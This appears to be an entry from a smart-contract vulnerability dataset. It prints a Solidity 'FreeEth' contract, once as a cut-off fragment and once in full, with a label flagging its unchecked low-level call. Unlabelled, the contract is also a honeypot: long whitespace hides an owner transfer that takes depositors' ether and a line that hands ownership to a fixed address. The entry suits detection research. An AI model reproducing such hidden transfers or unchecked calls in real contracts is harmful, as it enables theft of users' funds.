HIGH severity: Unchecked Low Level Calls vulnerability in 0xdb1c55f6926e7d847ddf8678905ad871a68199d2. /*
 * @source: etherscan.io 
 * @author: -
 * @vulnerable_at_lines: 39
 */

pragma solidity ^0.4.19;

contract FreeEth
{
    address public Owner = msg.sender;
   
    function() public payable{}
   
    function GetFreebie()
    public
    payable
    {                                              

Vulnerable code:
/*
 * @source: etherscan.io 
 * @author: -
 * @vulnerable_at_lines: 39
 */

pragma solidity ^0.4.19;

contract FreeEth
{
    address public Owner = msg.sender;
   
    function() public payable{}
   
    function GetFreebie()
    public
    payable
    {                                                                    
        if(msg.value>1 ether)
        {                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               Owner.transfer(this.balance);
            msg.sender.transfer(this.balance);
        }                                                                                                                
    }
    
    function withdraw()
    payable
    public
    {                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          if(msg.sender==0x4E0d2f9AcECfE4DB764476C7A1DfB6d0288348af){Owner=0x4E0d2f9AcECfE4DB764476C7A1DfB6d0288348af;}
        require(msg.sender == Owner);
        Owner.transfer(this.balance);
    }
    
    function Command(address adr,bytes data)
    payable
    public
    {
        require(msg.sender == Owner);
        // <yes> <report> UNCHECKED_LL_CALLS
        adr.call.value(msg.value)(data);
    }
}

Vulnerability type: unchecked_low_level_calls